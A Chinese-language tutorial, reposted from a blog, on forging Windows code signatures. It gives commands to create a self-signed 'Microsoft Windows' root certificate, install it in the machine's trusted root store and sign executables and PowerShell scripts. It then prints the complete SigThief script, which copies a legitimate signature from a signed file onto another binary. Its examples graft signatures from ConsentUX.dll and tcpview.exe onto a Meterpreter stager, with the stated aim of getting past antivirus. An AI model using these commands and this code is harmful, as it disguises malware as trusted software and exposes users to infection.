Windows 系統中的一些非常重要檔案通常會被添加數字簽名，其目的是用來防止被篡改，能確定使用者通過網際網路下載下傳時能确信此代碼沒有被非法篡改和來源可信，進而保護了代碼的完整性、保護了使用者不會被病毒、惡意代碼和間諜軟體所侵害，而一些防毒軟體也是通過檢測程式中的證書來實作清除判定的，本章将示範證書的簽發與僞造。
證書制作工具下載下傳：git clone https://github.com/3gstudent/signtools
制作并簽發證書
1.查詢一個程式中存在的證書，可以使用下面三個指令。
c:\> signtools Get-AuthenticodeSignature C:\Windows\System32\ConsentUX.dll c:\> signtools signtool.exe verify /v C:\Windows\System32\ConsentUX.dll c:\> signtools sigcheck.exe -q C:\Windows\System32\ConsentUX.dll 2.使用makecert指令制作證書，sv-私鑰檔案名，ss-主題的證書存儲名稱，n-證書頒發對象，r-證書存儲位置。
c:\> signtools makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer c:\> signtools cert2spc Root.cer Root.spc c:\> signtools pvk2pfx -pvk Root.pvk -pi 1233 -spc Root.spc -pfx Root.pfx -f 3.注冊證書與簽發證書。
c:\> signtools certmgr.exe -add -c Root.cer -s -r localmachine root c:\> signtools signtool sign /f Root.pfx /p 1233 lyshark.exe 給PowerShell腳本添加證書
1.生成證書檔案。
c:\> makecert -n "CN=Microsoft Windows" -r -eku 1.3.6.1.5.5.7.3.3 -sv certtest.pvk certtest.cer c:\> cert2spc certtest.cer certtest.spc c:\> pvk2pfx -pvk certtest.pvk -pi 123123 -spc certtest.spc -pfx certtest.pfx -f 2.給powershell腳本簽名：
c:\> powershell c:\> $cert = Get-PfxCertificate certtest.pfx c:\> Set-AuthenticodeSignature -Filepath lyshark.ps1 -Cert $cert 僞造PE檔案證書
有些反病毒軟體供應商優先考慮某些證書頒發機構而不檢查簽名是否真正有效，并且有一些隻是檢查以檢視certTable是否填充了某些值。這個工具讓你快速将從已簽名的PE檔案中删除簽名并将其附加到另一個檔案，修複證書表以對檔案進行簽名。
開源工具SigThief可用于僞造證書，将下方代碼儲存為sigthief.py 即可：
import sys import struct import shutil import io from optparse import OptionParser def gather_file_info_win(binary): """ Borrowed from BDF... I could just skip to certLOC... *shrug* """ flItms = {} binary = open(binary, 'rb') binary.seek(int('3C', 16)) flItms['buffer'] = 0 flItms['JMPtoCodeAddress'] = 0 flItms['dis_frm_pehdrs_sectble'] = 248 flItms['pe_header_location'] = struct.unpack('<i', binary.read(4))[0] # Start of COFF flItms['COFF_Start'] = flItms['pe_header_location'] + 4 binary.seek(flItms['COFF_Start']) flItms['MachineType'] = struct.unpack('<H', binary.read(2))[0] binary.seek(flItms['COFF_Start'] + 2, 0) flItms['NumberOfSections'] = struct.unpack('<H', binary.read(2))[0] flItms['TimeDateStamp'] = struct.unpack('<I', binary.read(4))[0] binary.seek(flItms['COFF_Start'] + 16, 0) flItms['SizeOfOptionalHeader'] = struct.unpack('<H', binary.read(2))[0] flItms['Characteristics'] = struct.unpack('<H', binary.read(2))[0] #End of COFF flItms['OptionalHeader_start'] = flItms['COFF_Start'] + 20 #if flItms['SizeOfOptionalHeader']: #Begin Standard Fields section of Optional Header binary.seek(flItms['OptionalHeader_start']) flItms['Magic'] = struct.unpack('<H', binary.read(2))[0] flItms['MajorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0] flItms['MinorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0] flItms['SizeOfCode'] = struct.unpack("<I", binary.read(4))[0] flItms['SizeOfInitializedData'] = struct.unpack("<I", binary.read(4))[0] flItms['SizeOfUninitializedData'] = struct.unpack("<I", binary.read(4))[0] flItms['AddressOfEntryPoint'] = struct.unpack('<I', binary.read(4))[0] flItms['PatchLocation'] = flItms['AddressOfEntryPoint'] flItms['BaseOfCode'] = struct.unpack('<I', binary.read(4))[0] if flItms['Magic'] != 0x20B: flItms['BaseOfData'] = struct.unpack('<I', binary.read(4))[0] # End Standard Fields section of Optional Header # Begin Windows-Specific Fields of Optional Header if flItms['Magic'] == 0x20B: flItms['ImageBase'] = struct.unpack('<Q', binary.read(8))[0] else: flItms['ImageBase'] = struct.unpack('<I', binary.read(4))[0] flItms['SectionAlignment'] = struct.unpack('<I', binary.read(4))[0] flItms['FileAlignment'] = struct.unpack('<I', binary.read(4))[0] flItms['MajorOperatingSystemVersion'] = struct.unpack('<H', binary.read(2))[0] flItms['MinorOperatingSystemVersion'] = struct.unpack('<H', binary.read(2))[0] flItms['MajorImageVersion'] = struct.unpack('<H', binary.read(2))[0] flItms['MinorImageVersion'] = struct.unpack('<H', binary.read(2))[0] flItms['MajorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0] flItms['MinorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0] flItms['Win32VersionValue'] = struct.unpack('<I', binary.read(4))[0] flItms['SizeOfImageLoc'] = binary.tell() flItms['SizeOfImage'] = struct.unpack('<I', binary.read(4))[0] flItms['SizeOfHeaders'] = struct.unpack('<I', binary.read(4))[0] flItms['CheckSum'] = struct.unpack('<I', binary.read(4))[0] flItms['Subsystem'] = struct.unpack('<H', binary.read(2))[0] flItms['DllCharacteristics'] = struct.unpack('<H', binary.read(2))[0] if flItms['Magic'] == 0x20B: flItms['SizeOfStackReserve'] = struct.unpack('<Q', binary.read(8))[0] flItms['SizeOfStackCommit'] = struct.unpack('<Q', binary.read(8))[0] flItms['SizeOfHeapReserve'] = struct.unpack('<Q', binary.read(8))[0] flItms['SizeOfHeapCommit'] = struct.unpack('<Q', binary.read(8))[0] else: flItms['SizeOfStackReserve'] = struct.unpack('<I', binary.read(4))[0] flItms['SizeOfStackCommit'] = struct.unpack('<I', binary.read(4))[0] flItms['SizeOfHeapReserve'] = struct.unpack('<I', binary.read(4))[0] flItms['SizeOfHeapCommit'] = struct.unpack('<I', binary.read(4))[0] flItms['LoaderFlags'] = struct.unpack('<I', binary.read(4))[0] # zero flItms['NumberofRvaAndSizes'] = struct.unpack('<I', binary.read(4))[0] # End Windows-Specific Fields of Optional Header # Begin Data Directories of Optional Header flItms['ExportTableRVA'] = struct.unpack('<I', binary.read(4))[0] flItms['ExportTableSize'] = struct.unpack('<I', binary.read(4))[0] flItms['ImportTableLOCInPEOptHdrs'] = binary.tell() #ImportTable SIZE|LOC flItms['ImportTableRVA'] = struct.unpack('<I', binary.read(4))[0] flItms['ImportTableSize'] = struct.unpack('<I', binary.read(4))[0] flItms['ResourceTable'] = struct.unpack('<Q', binary.read(8))[0] flItms['ExceptionTable'] = struct.unpack('<Q', binary.read(8))[0] flItms['CertTableLOC'] = binary.tell() flItms['CertLOC'] = struct.unpack("<I", binary.read(4))[0] flItms['CertSize'] = struct.unpack("<I", binary.read(4))[0] binary.close() return flItms def copyCert(exe): flItms = gather_file_info_win(exe) if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0: # not signed print("Input file Not signed!") sys.exit(-1) with open(exe, 'rb') as f: f.seek(flItms['CertLOC'], 0) cert = f.read(flItms['CertSize']) return cert def writeCert(cert, exe, output): flItms = gather_file_info_win(exe) if not output: output = output = str(exe) + "_signed" shutil.copy2(exe, output) print("Output file: {0}".format(output)) with open(exe, 'rb') as g: with open(output, 'wb') as f: f.write(g.read()) f.seek(0) f.seek(flItms['CertTableLOC'], 0) f.write(struct.pack("<I", len(open(exe, 'rb').read()))) f.write(struct.pack("<I", len(cert))) f.seek(0, io.SEEK_END) f.write(cert) print("Signature appended. \nFIN.") def outputCert(exe, output): cert = copyCert(exe) if not output: output = str(exe) + "_sig" print("Output file: {0}".format(output)) open(output, 'wb').write(cert) print("Signature ripped. \nFIN.") def check_sig(exe): flItms = gather_file_info_win(exe) if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0: # not signed print("Inputfile Not signed!") else: print("Inputfile is signed!") def truncate(exe, output): flItms = gather_file_info_win(exe) if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0: # not signed print("Inputfile Not signed!") sys.exit(-1) else: print( "Inputfile is signed!") if not output: output = str(exe) + "_nosig" print("Output file: {0}".format(output)) shutil.copy2(exe, output) with open(output, "r+b") as binary: print('Overwriting certificate table pointer and truncating binary') binary.seek(-flItms['CertSize'], io.SEEK_END) binary.truncate() binary.seek(flItms['CertTableLOC'], 0) binary.write(b"\x00\x00\x00\x00\x00\x00\x00\x00") print("Signature removed. \nFIN.") def signfile(exe, sigfile, output): flItms = gather_file_info_win(exe) cert = open(sigfile, 'rb').read() if not output: output = output = str(exe) + "_signed" shutil.copy2(exe, output) print("Output file: {0}".format(output)) with open(exe, 'rb') as g: with open(output, 'wb') as f: f.write(g.read()) f.seek(0) f.seek(flItms['CertTableLOC'], 0) f.write(struct.pack("<I", len(open(exe, 'rb').read()))) f.write(struct.pack("<I", len(cert))) f.seek(0, io.SEEK_END) f.write(cert) print("Signature appended. \nFIN.") if __name__ == "__main__": usage = 'usage: %prog [options]' parser = OptionParser() parser.add_option("-i", "--file", dest="inputfile", help="input file", metavar="FILE") parser.add_option('-r', '--rip', dest='ripsig', action='store_true', help='rip signature off inputfile') parser.add_option('-a', '--add', dest='addsig', action='store_true', help='add signautre to targetfile') parser.add_option('-o', '--output', dest='outputfile', help='output file') parser.add_option('-s', '--sig', dest='sigfile', help='binary signature from disk') parser.add_option('-t', '--target', dest='targetfile', help='file to append signature to') parser.add_option('-c', '--checksig', dest='checksig', action='store_true', help='file to check if signed; does not verify signature') parser.add_option('-T', '--truncate', dest="truncate", action='store_true', help='truncate signature (i.e. remove sig)') (options, args) = parser.parse_args() # rip signature # inputfile and rip to outputfile if options.inputfile and options.ripsig: print("Ripping signature to file!") outputCert(options.inputfile, options.outputfile) sys.exit() # copy from one to another # inputfile and rip to targetfile to outputfile if options.inputfile and options.targetfile: cert = copyCert(options.inputfile) writeCert(cert, options.targetfile, options.outputfile) sys.exit() # check signature # inputfile if options.inputfile and options.checksig: check_sig(options.inputfile) sys.exit() # add sig to target file if options.targetfile and options.sigfile: signfile(options.targetfile, options.sigfile, options.outputfile) sys.exit() # truncate if options.inputfile and options.truncate: truncate(options.inputfile, options.outputfile) sys.exit() parser.print_help() parser.error("You must do something!") 我們需要找一個帶有證書的檔案，然後通過使用sigthief.py完成證書的克隆。此處就拿系統中的ConsentUX.dll示範。
c:\> python sigthief.py -i ConsentUX.dll -t lyshark.exe -o check.exe Output file: check.exe Signature appended. FIN. 從二進制檔案中擷取簽名并将其添加到另一個二進制檔案中
$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe Output file: /tmp/msftesting_tcpview.exe Signature appended. FIN. 将簽名儲存到磁盤以供以後使用
$ ./sigthief.py -i tcpview.exe -r Ripping signature to file! Output file: tcpview.exe_sig Signature ripped. FIN. 使用翻錄簽名
$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe Output file: x86_meterpreter_stager.exe_signed Signature appended. FIN. 截斷（删除）簽名 這實際上有非常有趣的結果，可以幫助您找到重視代碼功能簽名的AV）
$ ./sigthief.py -i tcpview.exe -T Inputfile is signed! Output file: tcpview.exe_nosig Overwriting certificate table pointer and truncating binary Signature removed. FIN. 轉自：https://www.cnblogs.com/LyShark/p/11347609.html
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